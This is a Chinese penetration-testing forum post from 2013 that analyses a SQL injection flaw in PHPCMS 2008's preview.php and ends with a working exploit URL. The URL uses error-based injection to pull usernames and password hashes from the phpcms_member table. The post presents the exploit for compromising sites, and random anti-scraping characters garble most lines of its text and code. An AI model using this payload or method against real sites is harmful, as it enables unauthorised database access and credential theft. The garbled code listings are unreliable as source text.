中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......# m" V. D+ Z2 H& B0 e

$ ?# \: x# C6 }( |- t% N   要转摘的兄弟们,你们还是带个版权吧!    7 ^: O: I4 y: A" B1 d- b
9 H" @# p$ f* E* C
  组织 : http://www.safekeyer.com/   (欢迎访问)! a- w4 j* O  {8 J' F8 Z

% C7 Y. f9 I% r$ k- hauthor: 西毒    blog: http://hi.baidu.com/sethc59 w  v1 s8 _, w% a1 N

1 S) q$ n" u+ b: z5 G8 y9 o     
$ E. R0 |2 r: W+ R3 j# A* ?' ]% Y; U0 X! `: i# u0 H
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.# b  ?* e. h) {3 _

1 I/ V' |6 i" u  [, C  ^# h过程不明显的我就省略了。, g* q0 n* S9 V: |# a7 \; n
9 S% m. K/ d) W" _+ a: s# @
在preview.php 中第7行# P9 [/ y) s7 [
: h2 [/ p0 n. c
$r = new_stripslashes($info);: d  n; N: W8 a7 c- X5 ~

9 Q; B' Q* P* o) J2 d我们跟踪new_stripslashes这个函数
! o! {4 b& M7 ^9 d% u2 Q$ D: n0 `$ ]' Z( [  w. `
在global.func.php中可以找到
2 c" m* ]* J9 T8 {0 s, a# \9 B
% r3 U; p  V& `2 q2 Y1, d: t6 g9 k' {' ]; V# T
22 q& t; [; v4 Y  t' Q( W* G0 V
3
5 s4 Z: V1 A! o8 h1 h4  M3 Z3 z6 @; z! b  U# v
5
( k8 C8 f+ T' W) R: ~7 |6 function new_stripslashes($string)
( \1 Q! E( x/ y! F% B3 Y{0 |% |8 Q3 Z& U
    if(!is_array($string)) return stripslashes($string);
; q. \2 ?) a8 l" T( \    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
' N7 F4 n" U. J9 o6 g    return $string;* {8 x2 Z$ F0 l6 t: y& Z$ w+ ?- k
}
$ C# R$ L, o. s. Q6 |
$ B! H2 I5 A8 W0 e9 B8 \+ ?, N这个函数的功能不用解释了吧( Y% R0 v/ [" R8 a
$ N9 U1 y% Z( |2 h7 z, t
所以我们看具体应用点再哪?
  D: H8 H; O; Y8 M2 O
; {+ y$ W* }* I1 v1# }) F8 o# ^) R; {' c
25 b9 a, P% L# K9 R
32 i4 W4 E* A. U, [, b
4
9 r8 O0 M- F' H5
4 G, W# C: p# }4 a+ t4 T6
2 v, [, @( j' f% Z8 J, n7# Y& J9 R( C, ^$ Z+ `: `
8
: S0 V! @+ p  |) r8 d94 D5 A- E3 I$ @+ F
10
  q5 u- U3 |- x/ M, k3 r0 X0 }11
5 v9 F! R3 q+ J0 f1 E12% I! @4 L5 |$ y9 o% l" [
13
* s- k* e& Y- q  U: i14% E" f; w% j' e% \# o5 `
156 _& L! w2 ~% f- J
16( P9 f6 N1 w8 o! }; |' h( @& J
17
3 D, D- i, m: ^18% O0 N! ?0 T2 W, a6 f
19# e- Y% @8 `# s  r) P9 h
20( h3 ^4 @2 k& {- v
215 |, s+ g& J" G( e. n3 I
223 U, z2 R0 j" S8 p2 w4 i
23
, n. c" ~) ?* f$ w  W, S" {24
0 p* O7 n9 ~) p2 c25
8 X  f; {, v& [/ L, h26
4 M9 f  u+ \- m5 C* T/ _  l275 u2 z5 t7 [8 O- w$ M
286 x/ {/ ?, E9 I7 v3 [: Z- i
297 _5 ?  _8 F* T" P
305 N, p2 w5 v$ l) Q. h! `  E
315 v* Q% f* ?/ F* N# }
32: |& P# V  k2 b% f2 b" S
33
7 ^$ h- \# D, k+ ^9 I# `$ A6 n34
- [7 q% o% T8 y& `. j+ }35 require dirname(__FILE__).'/include/common.inc.php';( ]) C) q  }$ B! ?5 ~/ S
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.2 \8 [! |; K( |6 A% C
require_once CACHE_MODEL_PATH.'content_output.class.php';# D: V3 p; o/ S# [
require_once 'output.class.php';
5 N' d; ?6 H3 P& Q" `9 aif(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
6 ]; J' L2 @7 w3 d  ]0 T$r = new_stripslashes($info);   //反转义了.....关键0 k: t, N# D9 P% w
$C = cache_read('category_'.$r['catid'].'.php');
3 R" B3 R; z* o; |# @6 c& @$out = new content_output();
- Q3 y2 {; }5 Z1 y! Y$r['userid'] = $_userid;
( M2 i$ Q4 d0 j6 a; V$r['inputtime'] = TIME;
9 k4 E1 A% _7 k. Z$data = $out->get($r);
# ]1 m8 D- E% rextract($data);
4 J8 Z4 r% U2 k+ G$userid = $_username;
& V( Z0 q! i& Nfor($i=1;$i<10;$i++)8 y6 H  m: {, p3 n% Q, C  j5 P
{; j% |) b; u4 \3 `2 |5 X, e
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");* H! y5 j" [6 l2 Q/ M( R& m/ z
}
2 N5 [. @$ _1 }& ~" F7 p" |        # T- r3 O. L( C7 B7 Z0 B
$array_images = $str_attachmentArray;7 d) M4 W" S' h
$images_number = 10;# P  }3 x5 W! I! y
$allow_priv = $allow_readpoint = 1;
, i! l, t( P- X$updatetime = date('Y-m-d H:i:s',TIME);
1 Z6 |7 u9 Z9 e- E6 `        
0 ]1 V" |' U. ?/ F, u: Y$page = max(intval($page), 1);' ~; t. m* {  ^$ F! X
$pages = $titles = '';
, X* [+ x7 m4 Lif(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
5 b1 A( L# H2 [# N$ W- n, ?{
- U1 |3 L/ {+ {8 W' w2 C, J2 ^7 Z    require_once 'url.class.php';8 I% g) I7 s. b4 o+ F
    $curl = new url();
- W6 Q9 R) l$ |9 W5 o    $contents = array_filter(explode('', $content));2 \: k5 ^8 A# B
    $pagenumber = count($contents);
' U  b7 C9 M* N9 O. p    for($i=1; $i<=$pagenumber; $i++). @5 l# M7 B1 F9 _; A' h+ J
    {2 ^2 {% `: K% w/ K0 U$ x) c# v
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
1 k0 f' _: r4 Z) o/ y* I    }
7 i! x8 u: m& y" s6 w) \! o其中细节我就不说了...! n; Y+ D" h7 m* n
0 @: z1 F2 j7 ?4 n5 w$ b$ _4 G
我们看看这个$curl资源句柄中的show方法# G6 ?- t7 p& ]

6 Q: a0 G' k/ ~2 `& c! O; e, A! A- E1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']); 8 X) J( x7 G, N+ I* b

3 i3 d7 N) W$ S" ?3 h" K) ?& L0 a1
2 W/ `" w# Z* w9 F# M2
, v0 I7 Y2 r! b* J1 X  v3
  c! X+ i6 ~5 ]" }1 ~4' G% u5 q* i. p
5
& K4 b& q' n2 c: S9 ~6; [. `0 F; e9 h5 j' F6 J& e
7
( l# D3 R' }& D+ _! `* Y4 {3 J8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
* C  D/ r5 ^# v# f0 G6 A    {
( M7 }+ o$ i# p; u7 \+ E        global $PHPCMS;
6 q0 ?% d% N& U5 j( u) }. r        if($catid == 0 || $time == 0 || $prefix == '')
! o, R) j9 o6 ^& M        {- {' c6 \+ T* y4 }. }
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
9 `% r$ T5 e: j4 [6 F5 F' q            if($r['isupgrade'] && !empty($r['url']))
) V, @; G2 k8 ^( C            {
( o9 z. j$ q/ y9 r- {
0 k7 W% q$ ^0 V5 |! C所以结合前面的......我们x站了吧% d0 j1 d: T+ A: Y7 m
3 U2 y. o" G: O$ ?6 C
给出exp
! r# A+ j# {8 V/ v: d# \0 g) w6 a( {+ L" o
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​
0 w9 n  y8 j4 s9 u8 E5 ~4 J% J4 Q( e/ w( w% n- n) ^
截图看一下' u5 C5 {8 f+ o+ T5 `
  E( v% T) O+ z
最后真心说句,360收购漏洞计划,价格真心低.....
3 a' n# l' y8 k; u- ~http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2